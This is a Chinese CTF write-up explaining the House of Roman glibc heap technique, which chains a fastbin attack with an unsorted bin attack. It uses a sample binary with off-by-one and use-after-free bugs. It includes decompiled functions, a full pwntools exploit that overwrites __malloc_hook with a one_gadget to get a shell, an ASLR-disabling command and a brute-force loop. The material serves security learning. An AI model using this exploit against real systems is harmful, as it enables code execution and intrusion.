0%

House of Roman

alt

介绍(CTF WIKI)

House of Roman 这个技巧说简单点其实就是 fastbin attack 和 Unsortbin attack 结合的一个小 trick。House of Roman可以在开启了ALSR地址随机化的情况下,通过爆破12bit的方式来进行getshell,爆破概率为1/4096

利用条件

  • 程序中存在UAF或者能够达到修改fastbin的fd指针效果的漏洞
  • 可以申请任意大小的chunk块

以一道例题来了解House of Roman

new_chall

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi@1
int v4; // [sp+8h] [bp-8h]@2
int v5; // [sp+Ch] [bp-4h]@3

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stderr;
setvbuf(stderr, 0LL, 2, 0LL);
start_p(v3, 0LL);
while ( 1 )
{
print_menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
puts("Malloc");
v5 = malloc_chunk();
if ( !v5 )
puts("Error");
break;
case 2:
puts("Write");
write_chunk();
break;
case 3:
puts("Free");
free_chunk();
break;
default:
puts("Invalid choice");
break;
}
}
}

malloc_chunk函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 malloc_chunk()
{
__int64 result; // rax@2
void *v1; // rax@3
unsigned int v2; // [sp+0h] [bp-10h]@1
size_t size; // [sp+4h] [bp-Ch]@1

printf("Enter size of chunk :");
__isoc99_scanf("%d", &size);
printf("Enter index :", &size);
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x13 )
{
v1 = malloc(size);
*(&size + 4) = v1;
heap_ptrs[v2] = v1;
sizes[v2] = size;
result = *(&size + 4);
}
else
{
puts("Invalid index");
result = 0LL;
}
return result;
}

write_chunk函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int write_chunk()
{
int result; // eax@2
unsigned int v1; // [sp+8h] [bp-8h]@1
int v2; // [sp+Ch] [bp-4h]@5

printf("\nEnter index of chunk :");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 )
{
if ( heap_ptrs[v1] )
{
v2 = sizes[v1];
printf("Enter data :", &v1);
result = read(0, heap_ptrs[v1], v2 + 1);
}
else
{
result = puts("Bad index");
}
}
else
{
result = puts("\nInvalid index");
}
return result;

free_chunk函数如下:

1
2
3
4
5
6
7
8
9
void free_chunk()
{
unsigned int v0; // [sp+Ch] [bp-4h]@1

printf("\nEnter index :");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free(heap_ptrs[v0]);
}

我们发现程序没有类似show()函数,但是write_chunk中有off by one 漏洞,在free_chunk函数中free没有置NULL,存在uaf漏洞,而且程序可以申请任意大小的chunk。这些条件符合House of Roman 利用条件。

利用思路:

  1. 首先申请大于144的chunk A,然后free掉,这样chunk中就有main_arean的地址了
  2. 然后申请俩个0x70的chunk,C和D,然后都free掉,此时利用off by one 修改A的size位为0x70
  3. 利用uaf将原本D–>C的bins链表修改为D—>A
  4. 通过 修改低 2个字节,可以修改到 malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
  5. 连续malloc三次,申请到malloc_hook - 0x23这个chunk,这里要记得修复fastbin,因为链表中fd会指malloc_hook - 0x23这个chunk的fd,所以我们malloc三次后,要再free进这个bins链中一个chunk,然后将其fd置0,。
  6. 利用unsorted_bin_attack使malloc_hook地址的值为 main_arena+88 这里可以看我博客中关于unsorted_bin_attack的利用
  7. 修改malloc_hook地址的值的低3个字节,将其修改为one_gadget地址。
  8. 俩次free函数触发malloc_printerrgetshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#! /usr/bin/env python

from pwn import *

sh=process('./new_chall')
elf=ELF('./new_chall')
context.log_level='debug'
def add(size,index) :
sh.recvuntil('Free\n')
sh.sendline(str(1))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.sendline(str(index))
def write(index,content) :
sh.recvuntil('Free\n')
sh.sendline(str(2))
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.send(content)
def free(index) :
sh.recvuntil('Free\n')
sh.sendline(str(3))
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline('aaaa')
add(0x18,0) #A
add(0xc8,1) #B
add(0x65,2) #C

#fake chunk
fake='a'*0x68+p64(0x61)
write(1,fake)#B

#main_arean
free(1) #B
add(0xc8,1)#B

add(0x65,3) #D
add(0x65,15)#E 0x5555557571d0
add(0x65,18) #F
#gdb.attach(sh)
#off by one
over='a'*0x18+'\x71'
write(0,over)

#D-->B
free(2) #C
free(3) #D
heap_po='\x20'
write(3,heap_po)
#gdb.attach(sh)

#malloc_hook_nearly
malloc_hook_nearly = "\xed\x1a"
write(1,malloc_hook_nearly)
#gdb.attach(sh)

add(0x65,0)
add(0x65,0)
add(0x65,0) #A
#gdb.attach(sh)

free(15)
#gdb.attach(sh)
write(15,p64(0x00))

add(0xc8,1)
add(0xc8,2)
free(1)
payload='b'*0x8+'\x00\x1b'
write(1,payload)
add(0xc8,1)
#gdb.attach(sh)
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
write(0,over)

#gdb.attach(sh)

free(18)
free(18)
sh.interactive()

注意:

调试的时候记得关掉aslr

1
echo 0 > /proc/sys/kernel/randomize_va_space

脚本

因为需要爆破,所以写个脚本,碰运气

1
2
#!/bin/bash
for i in `seq 1 5000`; do python final.py; done;

参考链接:

https://xz.aliyun.com/t/2316#toc-5

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/